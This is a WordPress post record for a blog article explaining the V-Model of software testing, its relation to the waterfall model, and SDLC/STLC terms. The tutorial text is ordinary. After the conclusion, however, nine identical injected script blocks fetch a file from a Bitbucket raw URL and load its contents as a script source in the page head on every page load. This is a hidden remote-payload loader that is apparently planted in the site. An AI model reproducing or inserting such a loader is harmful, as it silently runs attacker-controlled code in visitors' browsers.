{"id":12033,"date":"2022-12-26T17:47:52","date_gmt":"2022-12-26T10:47:52","guid":{"rendered":"https:\/\/bestarion.com\/us\/?p=12033"},"modified":"2024-10-06T03:21:35","modified_gmt":"2024-10-05T20:21:35","slug":"what-is-v-model-in-software-testing","status":"publish","type":"post","link":"https:\/\/bestarion.com\/us\/what-is-v-model-in-software-testing\/","title":{"rendered":"What is V-Model in Software Testing?"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The V-Model is a highly disciplined SDLC model that includes a testing phase alongside each development phase. The V-model is an extension of the waterfall model that involves sequential software development and testing. It&#8217;s referred to as the Validation or Verification Model.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Important_Software_Engineering_Terms\"><\/span><span style=\"font-weight: 400;\">Important Software Engineering Terms<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><b>SDLC:<\/b><span style=\"font-weight: 400;\"> SDLC is <\/span><a href=\"https:\/\/bestarion.com\/us\/software-development-life-cycle\/\"><span style=\"font-weight: 400;\">Software Development Life Cycle<\/span><\/a><span style=\"font-weight: 400;\">. It is the series of activities performed by Developers to design and develop high-quality software.<\/span><\/p>\n<p style=\"text-align: justify;\"><b>STLC:<\/b><span style=\"font-weight: 400;\"> STLC is <\/span><a href=\"https:\/\/bestarion.com\/us\/software-testing-life-cycle-phases\/\"><span style=\"font-weight: 400;\">Software Testing Life Cycle<\/span><\/a><span style=\"font-weight: 400;\">. It consists of a series of activities carried out methodically by Testers to test your software product.<\/span><\/p>\n<p style=\"text-align: justify;\"><b>Waterfall Model: <\/b><span style=\"font-weight: 400;\">A waterfall model is a sequential model that divides software development activity into different phases. Each stage is intended to be used for a specific activity. The testing phase in the waterfall model begins only after the system has been implemented.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Example_To_Understand_the_V-Model\"><\/span><span style=\"font-weight: 400;\">Example To Understand the V-Model\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Suppose, you are assigned a task, to develop a custom software for a client. Now, irrespective of your technical background, try and make an educated guess about the sequence of steps you will follow, to achieve the task.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The correct sequence would be.<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Phases of Software Development<\/b><\/td>\n<td><b>Activities performed in each stage<\/b><\/td>\n<\/tr>\n<tr>\n<td><b>Requirement Gathering stage<\/b><\/td>\n<td>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Gather as much information as possible about the details &amp; specifications of the desired software from the client. This is nothing but the Requirements gathering stage.<\/span><\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td><b>Design Stage<\/b><\/td>\n<td>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Plan the programming language like Java, PHP, .net; database like Oracle, MySQL, etc. Which would be suited for the project, also some high-level functions &amp; architecture.<\/span><\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td><b>Build Stage<\/b><\/td>\n<td>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">After the design stage, it is build stage, that is nothing but actually code the software<\/span><\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td><b>Test Stage<\/b><\/td>\n<td>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Next, you test the software to verify that it is built as per the specifications are given by the client.<\/span><\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td><b>Deployment stage<\/b><\/td>\n<td>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Deploy the application in the respective environment<\/span><\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td><b>Maintenance stage<\/b><\/td>\n<td>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Once your system is ready to use, you may require to change the code later on as per customer request<\/span><\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">All these levels constitute the <\/span><b>waterfall method<\/b><span style=\"font-weight: 400;\"> of the software development lifecycle.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Problem_with_the_Waterfall_Model\"><\/span><b>Problem with the Waterfall Model<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">As you may observe, that <\/span><b>testing in the model starts only after implementation is done.<\/b><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">But if you are working in the large project, where the systems are complex, it\u2019s easy to miss out the key details in the requirements phase itself. In such cases, an entirely wrong product will be delivered to the client and you might have to start afresh with the project OR if you manage to note the requirements correctly but make serious mistakes in design and architecture of your software you will have to redesign the entire software to correct the error.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Assessments of thousands of projects have shown that <\/span><b>defects introduced during requirements &amp; design make up close to half of the total number of defects.<\/b><\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-12034 aligncenter\" src=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/12\/qwer.webp\" alt=\"\" width=\"500\" height=\"367\" title=\"\" srcset=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/12\/qwer.webp 500w, https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/12\/qwer-300x220.webp 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Also, the <\/span><b>costs of fixing a defect increase across the development lifecycle. The earlier in life cycle a defect is detected, the cheaper it is to fix it.<\/b><span style=\"font-weight: 400;\"> As they say, \u201cA stitch in time saves nine.\u201d<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Solution_The_V-Model\"><\/span><b>Solution: The V-Model<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-12035 size-full\" src=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/12\/v-model-in-testing.webp\" alt=\"v-model in software testing\" width=\"595\" height=\"347\" title=\"\" srcset=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/12\/v-model-in-testing.webp 595w, https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/12\/v-model-in-testing-300x175.webp 300w\" sizes=\"(max-width: 595px) 100vw, 595px\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">To address this concern, <\/span><b>the V-model of testing<\/b><span style=\"font-weight: 400;\"> was developed where <\/span><b>for every phase, in the Development life cycle there is a corresponding Testing phase<\/b><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The left side of the model is Software Development Life Cycle \u2013 <\/span><b>SDLC<\/b><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The right side of the model is Software Test Life Cycle \u2013 <\/span><b>STLC<\/b><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The entire figure looks like a V, hence the name <\/span><b>V-model<\/b><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Apart from the V-model, there are iterative development models, where development is carried in phases, with each phase adding a functionality to the software. Each phase comprises its independent set of development and testing activities.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Good examples of Development lifecycles following iterative method are Rapid Application Development, Agile Development<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><b>Conclusion<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">There are numerous development life cycle models. <\/span><b>Development model selected for a project depends on the aims and goals of that project.<\/b><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Testing is not a stand-alone activity, and it has to adapt the development model chosen for the project.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">In any model, testing should be performed at all levels i.e. right from requirements until maintenance.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The V-Model is a highly disciplined SDLC model that includes a testing phase alongside each development phase. The V-model is an extension of the waterfall model that involves sequential software development and testing. It&#8217;s referred to as the Validation or Verification Model. Important Software Engineering Terms SDLC: SDLC is Software Development Life Cycle. It is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":12035,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[3207],"tags":[],"class_list":["post-12033","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-software-testing"],"_links":{"self":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/12033","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/comments?post=12033"}],"version-history":[{"count":0,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/12033\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/media\/12035"}],"wp:attachment":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/media?parent=12033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/categories?post=12033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/tags?post=12033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}